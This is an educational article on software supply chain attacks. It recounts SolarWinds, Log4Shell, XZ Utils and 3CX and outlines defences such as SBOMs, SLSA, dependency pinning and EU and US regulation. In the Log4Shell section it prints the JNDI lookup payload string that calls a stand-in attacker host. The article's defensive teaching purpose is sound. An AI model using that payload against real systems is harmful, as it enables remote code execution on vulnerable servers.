Supply chain attacks: SolarWinds, Log4Shell and the invisible threat

A company can have its own IT infrastructure perfectly secured—and still be compromised if a trusted software vendor becomes a Trojan horse. Supply chain attacks are among the most dangerous attack scenarios because they exploit legitimate relationships of trust.

What are supply chain attacks?

A supply chain attack does not target the victim directly, but rather a supplier or service provider that the victim trusts. The attacker compromises an upstream partner—and gains access to the actual target “through the back door” via that partner.

The basic principle: If a company trusts a piece of software and that software automatically installs updates, a compromised update mechanism can become a weapon.

ENISA Study (2021): In 66% of the analyzed supply chain attacks, attackers focused on the software vendor’s code—not on the delivery method. The attackers were significantly superior to the targeted companies in terms of resources and capabilities.

The Largest Supply Chain Attacks in History

SolarWinds SUNBURST (2020)

What happened: Russian intelligence hackers (APT29/Cozy Bear) compromised the build pipeline of the IT monitoring provider SolarWinds. Malicious code (the SUNBURST backdoor) was injected into the official software updates for the "Orion" product.

Timeline:

1. Attackers gained access to SolarWinds’ development environment (presumably in 2019)
2. Injection of the SUNBURST backdoor into the build process
3. Signed, legitimate Orion software update containing the backdoor was distributed
4. ~18,000 customers installed the compromised update—without knowing it
5. Backdoor did not contact the attackers until 2 weeks later (sandbox evasion)
6. Targeted activation against high-value targets: U.S. Department of the Treasury, Pentagon, security firms

Discovery: Only months later by the security firm FireEye—which was itself a victim.

Costs: > $100 million in remediation costs, extensive intelligence damage.

Log4Shell / Log4j (CVE-2021-44228)

What happened: A critical zero-day vulnerability in the widely used Java logging library Log4j 2 enabled remote code execution with minimal requirements.

Why it was so bad: Log4j 2 was embedded in millions of Java applications—often as a transitive dependency that developers were completely unaware of. Due to the dependency problem in the Java ecosystem, it was nearly impossible to immediately identify all vulnerable instances.

Simplicity of the exploit:

${jndi:ldap://attacker.com/exploit}

This single string, entered into a log field, was sufficient for RCE. Within 72 hours of disclosure, security firms observed millions of exploitation attempts.

Affected systems: Apache, Apple iCloud, Microsoft Azure, Steam, Twitter, Cloudflare, VMware, Cisco, and tens of thousands of others.

XZ Utils Backdoor (CVE-2024-3094)

What happened: An attacker using the pseudonym "Jia Tan" spent 2 years establishing themselves as a trusted open-source contributor to the XZ Utils project—and then built in a backdoor shortly before it was set to be rolled out to production Linux systems worldwide.

Key point: This attack demonstrated how state-sponsored actors systematically infiltrate open-source communities—through social engineering, patience, and the gradual building of trust.

Discovered: By chance by Microsoft engineer Andres Freund, who noticed unusual CPU usage in the SSH process.

3CX Supply Chain Attack (2023)

3CX is a popular VoIP software. Attackers (Lazarus Group / North Korea) compromised a software update—which led to the further compromise of several Fortune 500 companies.

Notably: The 3CX compromise itself was the result of an upstream compromise of a 3CX employee via trading software (X_TRADER)—a supply chain attack enabled by another supply chain attack.

Attack Vectors in Detail

Compromise of the Build Pipeline (CI/CD)

Source code → Build system → Signing → Distribution
                  ↑
            Attacker injects
            malicious code here

Goal: Injecting code before the final binary is signed.

Compromise of package registries

• npm: typosquatting, dependency confusion
• PyPI: fake packages with names similar to known libraries
• RubyGems, Maven Central, NuGet

Dependency Confusion: Public package registry names override internal private packages when dependency resolution is poorly configured.

Compromising open-source projects

• Taking over an abandoned, popular project
• Social engineering against maintainers (such as XZ Utils)
• Pull requests containing hidden malicious code

Compromise of Developer Workstations

• Malware on a developer’s laptop → Access to the codebase
• Secrets in Git history → Access to production systems

Mitigation Measures: Software Supply Chain Security

Software Bill of Materials (SBOM)

An SBOM is a complete, machine-readable inventory of all components of a software package:

• All direct and transitive dependencies
• Version information
• License information

Formats: CycloneDX, SPDX, SWID tags

Benefits: When a new vulnerability is discovered, it is possible to immediately check which of your own systems are affected. NIS2 and U.S. Executive Order 14028 require SBOMs for critical software.

SLSA - Supply Chain Levels for Software Artifacts

SLSA (pronounced "salsa") is a framework for securing build pipelines, developed by Google and the OpenSSF:

SLSA Level 0: No guarantees
SLSA Level 1: Documented build process
SLSA Level 2: Tamper-evident build with provenance
SLSA Level 3: Hardened build platform
SLSA Level 4: Hermetic, reproducible builds

Each level increases the assurance that the delivered artifact actually originated from the declared source code.

Dependency Management Best Practices

✓ Dependency pinning: Exact version numbers (not: ^1.2.3)
✓ Lock Files: package-lock.json, Cargo.lock, requirements.txt with hashes
✓ Dependency Review: PR checks for new/updated dependencies
✓ SCA Tools: Snyk, Dependabot, GitHub Advanced Security
✓ Vulnerability Alerts: Automatic notifications for new CVEs in dependencies
✓ Minimization: As few dependencies as possible

Vendor Risk Management

• Security questionnaires for key suppliers
• NIS2 requirements for supply chain security (Art. 21)
• Contract clauses for security standards and incident reporting obligations
• Monitoring of suppliers (OSINT, security rating services such as SecurityScorecard)

Zero Trust for Software Supply Chains

• Code Signing: Sign all releases (Sigstore/cosign for open source)
• Artifact Verification: Signature verification before every deployment
• Least Privilege in CI/CD: Build pipelines receive only the minimum necessary secrets
• Ephemeral Build Environments: Each build runs in a fresh, non-persistent environment

Integrating SBOM and Vulnerability Management

Create SBOM
  │
  ▼
Compare against CVE databases (OSV, NVD)
  │
  ▼
Identify affected components
  │
  ▼
Create an update/mitigation plan
  │
  ▼
Deployment and verification

Regulatory Requirements

NIS2

Art. 21 NIS2 explicitly requires security measures in the supply chain as a mandatory component of risk management. Critical and important facilities must:

• Define supplier security requirements
• Assess suppliers for security risks
• Incorporate contractual security requirements

Cyber Resilience Act (CRA)

The EU Cyber Resilience Act (effective 2024) requires manufacturers of products with digital elements to:

• SBOMs for all products
• Security updates throughout the entire product lifecycle
• Mandatory reporting of actively exploited vulnerabilities

U.S. Executive Order 14028

For U.S. federal agencies: mandatory SBOM requirements, SLSA recommendations, and secure-by-design principles for all software suppliers.

Detection of Supply Chain Attacks

Supply chain attacks are particularly difficult to detect because the attack payload originates from a trusted source. Indicators:

• Unexplained network connections from legitimate applications to unknown hosts
• Unusual processes launched by known binaries
• Code-signing anomalies (different certificate than usual)
• Build pipeline alerts (unexpected build artifacts, unauthorized changes)
• Dependency graph changes without corresponding code changes

EDR rules for the supply chain:

• Alerts for widely used software that launches unusual processes
• Monitoring of known management software (RMM, monitoring agents)

Conclusion

Supply chain attacks demonstrate that an organization’s security is only as strong as its weakest trust relationship. The most important counter-paradigm is Zero Trust: No software artifact, no update, and no vendor should automatically be considered trustworthy—even if it carries a valid signature. SBOMs, dependency pinning, SLSA, and robust vendor risk management are the practical tools for understanding and securing your own software supply chain.